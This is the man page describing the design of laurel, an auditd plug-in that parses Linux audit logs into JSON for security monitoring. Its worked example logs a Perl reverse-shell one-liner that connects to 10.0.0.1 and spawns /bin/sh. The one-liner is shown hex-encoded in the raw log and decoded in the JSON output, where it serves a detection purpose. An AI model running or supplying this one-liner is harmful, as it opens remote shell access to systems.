.\" Automatically generated by Pandoc 2.17.1.1
.\"
.\" Define V font for inline verbatim, using C font in formats
.\" that render this, and otherwise B font.
.ie "\f[CB]x\f[]"x" \{\
. ftr V B
. ftr VI BI
. ftr VB B
. ftr VBI BI
.\}
.el \{\
. ftr V CR
. ftr VI CI
. ftr VB CB
. ftr VBI CBI
.\}
.TH "laurel - About" "7" "" "laurel 0.5.1" "System Administration Utilities"
.hy
.SH NAME
.PP
laurel-about - High-level description of \f[V]laurel(8)\f[R] design,
rationale, features
.SH DESCRIPTION
.SS Problem statement
.PP
While logs produced by the Linux Audit subsystem and \f[I]auditd(8)\f[R]
contain information that can be very useful for host-based security
monitoring, the log format is not well-suited for at-scale analysis in a
SIEM.
.SS Format issues
.IP \[bu] 2
All non-trivial events are split across multiple lines that have to be
joined together using a message identifier, but current search-centric
log analysis systems are quite limited when it comes to join operations.
.IP \[bu] 2
Files and program executions are logged via \f[V]PATH\f[R] and
\f[V]EXECVE\f[R] elements.
The character set for strings is a limited subset of ASCII no escaping
mechanism exists: If a string contains bytes that have special meaning
in the format (even space or quote characters), the entire string is
hex-encoded.
.IP \[bu] 2
Argument lists are preserved in \f[V]EXECVE\f[R] records, but with an
\f[V]a0=\[dq]\&...\[dq]\f[R], \f[V]a1=\[dq]\&...\[dq]\f[R],
\f[V]a2=\[dq]\&...\[dq]\f[R], \f[V]a3=\[dq]\&...\[dq]\f[R] naming
scheme, they are not easily accessible.
.IP \[bu] 2
Long command lines may be spread across multiple \f[V]EXECVE\f[R] event
lines.
.IP \[bu] 2
For numeric values, there is no clear distinction whether they should be
interpreted as decimal, octal, or hexadecimal values.
.SS Missing context
.PP
Most audit events are based on either system calls or file operations.
Whether or not some suspicious actions should be considered harmful,
largely depends on the context in which it takes place.
For example, one would not expect most web applications to use
\f[V]netcat\f[R] to connect to hosts on the Internet, but an
administrator who is logged and over SSH who uses \f[V]netcat\f[R] to
debug network issues should raise fewer suspicions.
Unfortunately, the only context that can be added for Linux audit events
\[lq]keys\[rq] using the \f[V]-k\f[R] parameter of
\f[V]auditctl(8)\f[R].
.SS Example
.PP
Spawning a simple Perl reverse-shell one-liner creates the following
7-line audit log entry that nicely demonstrates some of these
shortcomings:
.IP
.nf
\f[C]
type=SYSCALL msg=audit(1626611363.720:348501): arch=c000003e syscall=59 success=yes exit=0 a0=55c094deb5c0 a1=55c094dea770 a2=55c094dbf1b0 a3=fffffffffffff286 items=3 ppid=722076 pid=724395 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts3 ses=3 comm=\[dq]perl\[dq] exe=\[dq]/usr/bin/perl\[dq] subj==unconfined key=(null)ARCH=x86_64 SYSCALL=execve AUID=\[dq]user\[dq] UID=\[dq]root\[dq] GID=\[dq]root\[dq] EUID=\[dq]root\[dq] SUID=\[dq]root\[dq] FSUID=\[dq]root\[dq] EGID=\[dq]root\[dq] SGID=\[dq]root\[dq] FSGID=\[dq]root\[dq]
type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0=\[dq]perl\[dq] a1=\[dq]-e\[dq] a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F61746F6E282469292929297B6F70656E28535444494E2C223E265322293B6F70656E285354444F55542C223E265322293B6F70656E285354444552522C223E265322293B6578656328222F62696E2F7368202D6922293B7D3B
type=CWD msg=audit(1626611363.720:348501): cwd=\[dq]/root\[dq]
type=PATH msg=audit(1626611363.720:348501): item=0 name=\[dq]/usr/bin/perl\[dq] inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID=\[dq]root\[dq] OGID=\[dq]root\[dq]
type=PATH msg=audit(1626611363.720:348501): item=1 name=\[dq]/usr/bin/perl\[dq] inode=401923 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID=\[dq]root\[dq] OGID=\[dq]root\[dq]
type=PATH msg=audit(1626611363.720:348501): item=2 name=\[dq]/lib64/ld-linux-x86-64.so.2\[dq] inode=404797 dev=fd:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0OUID=\[dq]root\[dq] OGID=\[dq]root\[dq]
type=PROCTITLE msg=audit(1626611363.720:348501): proctitle=7065726C002D650075736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B657428532C50465F494E45542C534F434B5F53545245414D2C67657470726F746F62796E616D6528227463702229293B696628636F6E6E65637428532C736F636B616464725F696E2824702C696E65745F6174
\f[R]
.fi
.SS Solution
.PP
In addition to (or instead of) writing log files, \f[V]auditd(8)\f[R]
can pass log lines to one or multiple plug-ins for further processing,
see \f[V]auditd-plugins(5)\f[R].
\f[V]laurel(8)\f[R] is intended to be run as such a plug-in.
It reads the audit logs from standard input, parses them, and writes a
modified form of the audit log to a different log file.
.SS Output format
.PP
Log records carrying the same event ID (the
\f[V]msg=audit(TIME:SEQUENCE):\f[R] part) are collected into coherent
events and output as a JSONlines-based log format.
Most importantly, hex-encoded strings are output as regular JSON
strings.
RfC8259 (https://datatracker.ietf.org/doc/html/rfc8259) mandates that
\[lq]text exchanged between systems that are not part of a closed
ecosystem MUST be encoded using UTF-8\[rq], therefore any bytes or byte
sequences that are not valid UTF-8 are percent-encoded as described in
RfC3986 (https://datatracker.ietf.org/doc/html/rfc3986).
Numbers are parsed as decimal, octal, or hexadecimal values and output
in an unambiguous format.
List data (\f[V]SYSCALL.{a0 \&... a3}\f[R] and \f[V]EXECVE.a*\f[R]) are
turned into JSON arrays.
\f[V]PROCTITLE.proctitle\f[R] is split at NULL bytes and transformed
into a list.
.SS Structure
.PP
Every audit log line produced by \f[I]LAUREL\f[R] is one single JSON
object consisting of key/value pairs that contains at least an
\f[V]ID\f[R] field.
.IP \[bu] 2
\f[V]SYSCALL\f[R], \f[V]EXECVE\f[R], \f[V]CWD\f[R], \f[V]PROCTITLE\f[R]
fields point to single JSON objects.
.IP \[bu] 2
\f[V]PATH\f[R], \f[V]SOCKADDR\f[R] fields point to lists of JSON
objects.
.PP
Every other kernel-produced audit message not mentioned above results in
field pointing to a list of JSON objects.
Details may change after the list of kernel audit message types has been
reviewed.
.SS Encoding of invalid UTF-8 strings and binary data
.IP \[bu] 2
Most byte values that represent printable ASCII characters are
reproduced as-is (but are subject to JSON string escaping rules).
.IP \[bu] 2
Bytes that map to non-printable ASCII characters (less than 32/0x20;
127/0x7f) are percent-encoded.
.IP \[bu] 2
Byte values that map to \f[V]%\f[R] (37/0x25) and \f[V]+\f[R] (42/0x2b)
are percent-encoded.
.IP \[bu] 2
Byte values outside of the ASCII range (greater than 127/0x7f) are
reproduced as-is if they are part of a valid UTF-8 sequence.
Otherwise, they are percent-encoded.
.PP
Handling of special Unicode characters may change in the future.
.SS Translation / Enrichment
.PP
If \f[V]auditd(8)\f[R] has been configured with
\f[V]log_format=ENRICHED\f[R], it translates some numeric values in the
original audit data to strings.
Per convention, it adds translated information using all-caps versions
of the keys.
For example,
.IP
.nf
\f[C]
arch=c000003e syscall=59 uid=0
\f[R]
.fi
.PP
get translated to
.IP
.nf
\f[C]
ARCH=x86_64 SYSCALL=execve UID=\[dq]root\[dq]
\f[R]
.fi
.PP
by \f[V]auditd(8)\f[R].
All information that is added to records by \f[V]laurel(8)\f[R] follows
the same convention, i.e.\ keys are turned into all-caps.
While \f[V]laurel\f[R] can be configured to perform the same
translations as \f[V]auditd(8)\f[R], it con perform other enrichments,
including interpreted scripts, collecting specific environment
variables, or container information for processes that are run within
container environments.
.SS Adding Context: Process Relationships, Labels
.PP
While processing audit records \f[V]laurel(8)\f[R] tracks processes and
remembers \f[V]comm\f[R], \f[V]exe\f[R], and the event ID associated
with the latest \f[V]execve\f[R] event of a process.
Processes that are tracked can be assigned labels through various
mechanisms and those labels can optionally be propagated to child
processes.
.PP
Mechanisms by which labels can be assigned include: - using the key from
an audit event (the \f[V]-k\f[R] option of \f[V]auditctl(8)\f[R]) -
regular expression applied to the executable path (\f[V]SYSCALL.exe\f[R]
field) - regular expression applied to the script path
(\f[V]SYSCALL.SCRIPT\f[R] field, enriched)
.PP
The process tracking information can be used to enrich fields containing
process ids, including \f[V]SYSCALL.{pid, ppid}\f[R] and
\f[V]OBJ_PID.opid\f[R] associated with \f[V]ptrace\f[R] attach or
\f[V]kill\f[R] syscalls.
.SS Volume reduction: Filtering out events
.PP
To reduce the high volume of events, it is possible to filter out events
by key or by process label.
Events that are filtered are still used for process tracking.
.SS Example
.PP
The log lines from the Perl reverse shell execution above are processed
by \f[V]laurel(8)\f[R] into the following JSON log line:
.IP
.nf
\f[C]
{\[dq]ID\[dq]:\[dq]1626611363.720:348501\[dq],\[dq]SYSCALL\[dq]:{\[dq]arch\[dq]:\[dq]0xc000003e\[dq],\[dq]syscall\[dq]:59,\[dq]success\[dq]:\[dq]yes\[dq],\[dq]exit\[dq]:0,\[dq]a0\[dq]:\[dq]0x55c094deb5c0\[dq],\[dq]a1\[dq]:\[dq]0x55c094dea770\[dq],\[dq]a2\[dq]:\[dq]0x55c094dbf1b0\[dq],\[dq]a3\[dq]:\[dq]0xfffffffffffff286\[dq],\[dq]items\[dq]:3,\[dq]ppid\[dq]:722076,\[dq]pid\[dq]:724395,\[dq]auid\[dq]:1000,\[dq]uid\[dq]:0,\[dq]gid\[dq]:0,\[dq]euid\[dq]:0,\[dq]suid\[dq]:0,\[dq]fsuid\[dq]:0,\[dq]egid\[dq]:0,\[dq]sgid\[dq]:0,\[dq]fsgid\[dq]:0,\[dq]tty\[dq]:\[dq]pts3\[dq],\[dq]ses\[dq]:3,\[dq]comm\[dq]:\[dq]perl\[dq],\[dq]exe\[dq]:\[dq]/usr/bin/perl\[dq],\[dq]subj\[dq]:\[dq]=unconfined\[dq],\[dq]key\[dq]:null,\[dq]ARCH\[dq]:\[dq]x86_64\[dq],\[dq]SYSCALL\[dq]:\[dq]execve\[dq],\[dq]AUID\[dq]:\[dq]user\[dq],\[dq]UID\[dq]:\[dq]root\[dq],\[dq]GID\[dq]:\[dq]root\[dq],\[dq]EUID\[dq]:\[dq]root\[dq],\[dq]SUID\[dq]:\[dq]root\[dq],\[dq]FSUID\[dq]:\[dq]root\[dq],\[dq]EGID\[dq]:\[dq]root\[dq],\[dq]SGID\[dq]:\[dq]root\[dq],\[dq]FSGID\[dq]:\[dq]root\[dq],\[dq]PPID\[dq]:{\[dq]EVENT_ID\[dq]:\[dq]1626611323.973:348120\[dq],\[dq]exe\[dq]:\[dq]/bin/bash\[dq],\[dq]comm\[dq]:\[dq]bash\[dq],\[dq]ppid\[dq]:3190631}},\[dq]EXECVE\[dq]:{\[dq]argc\[dq]:3,\[dq]ARGV\[dq]:[\[dq]perl\[dq],\[dq]-e\[dq],\[dq]use Socket;$i=\[rs]\[dq]10.0.0.1\[rs]\[dq];$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\[rs]\[dq]tcp\[rs]\[dq]));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\[rs]\[dq]>&S\[rs]\[dq]);open(STDOUT,\[rs]\[dq]>&S\[rs]\[dq]);open(STDERR,\[rs]\[dq]>&S\[rs]\[dq]);exec(\[rs]\[dq]/bin/sh -i\[rs]\[dq]);};\[dq]]},\[dq]CWD\[dq]:{\[dq]cwd\[dq]:\[dq]/root\[dq]},\[dq]PATH\[dq]:[{\[dq]item\[dq]:0,\[dq]name\[dq]:\[dq]/usr/bin/perl\[dq],\[dq]inode\[dq]:401923,\[dq]dev\[dq]:\[dq]fd:01\[dq],\[dq]mode\[dq]:\[dq]0o100755\[dq],\[dq]ouid\[dq]:0,\[dq]ogid\[dq]:0,\[dq]rdev\[dq]:\[dq]00:00\[dq],\[dq]nametype\[dq]:\[dq]NORMAL\[dq],\[dq]cap_fp\[dq]:\[dq]0x0\[dq],\[dq]cap_fi\[dq]:\[dq]0x0\[dq],\[dq]cap_fe\[dq]:0,\[dq]cap_fver\[dq]:\[dq]0x0\[dq],\[dq]cap_frootid\[dq]:\[dq]0\[dq],\[dq]OUID\[dq]:\[dq]root\[dq],\[dq]OGID\[dq]:\[dq]root\[dq]},{\[dq]item\[dq]:1,\[dq]name\[dq]:\[dq]/usr/bin/perl\[dq],\[dq]inode\[dq]:401923,\[dq]dev\[dq]:\[dq]fd:01\[dq],\[dq]mode\[dq]:\[dq]0o100755\[dq],\[dq]ouid\[dq]:0,\[dq]ogid\[dq]:0,\[dq]rdev\[dq]:\[dq]00:00\[dq],\[dq]nametype\[dq]:\[dq]NORMAL\[dq],\[dq]cap_fp\[dq]:\[dq]0x0\[dq],\[dq]cap_fi\[dq]:\[dq]0x0\[dq],\[dq]cap_fe\[dq]:0,\[dq]cap_fver\[dq]:\[dq]0x0\[dq],\[dq]cap_frootid\[dq]:\[dq]0\[dq],\[dq]OUID\[dq]:\[dq]root\[dq],\[dq]OGID\[dq]:\[dq]root\[dq]},{\[dq]item\[dq]:2,\[dq]name\[dq]:\[dq]/lib64/ld-linux-x86-64.so.2\[dq],\[dq]inode\[dq]:404797,\[dq]dev\[dq]:\[dq]fd:01\[dq],\[dq]mode\[dq]:\[dq]0o100755\[dq],\[dq]ouid\[dq]:0,\[dq]ogid\[dq]:0,\[dq]rdev\[dq]:\[dq]00:00\[dq],\[dq]nametype\[dq]:\[dq]NORMAL\[dq],\[dq]cap_fp\[dq]:\[dq]0x0\[dq],\[dq]cap_fi\[dq]:\[dq]0x0\[dq],\[dq]cap_fe\[dq]:0,\[dq]cap_fver\[dq]:\[dq]0x0\[dq],\[dq]cap_frootid\[dq]:\[dq]0\[dq],\[dq]OUID\[dq]:\[dq]root\[dq],\[dq]OGID\[dq]:\[dq]root\[dq]}],\[dq]PROCTITLE\[dq]:{\[dq]ARGV\[dq]:[\[dq]perl\[dq],\[dq]-e\[dq],\[dq]use Socket;$i=\[rs]\[dq]10.0.0.1\[rs]\[dq];$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\[rs]\[dq]tcp\[rs]\[dq]));if(connect(S,sockaddr_in($p,inet_at\[dq]]}}
\f[R]
.fi
.SH SEE ALSO
.PP
\f[V]laurel(8)\f[R], \f[V]auditd(8)\f[R], \f[V]audit.rules(7)\f[R]
.SH AUTHORS
.IP \[bu] 2
Hilko Bengen <<bengen@hilluzination.de>>
.IP \[bu] 2
Sergej Schmidt <<sergej@msgpeek.net>>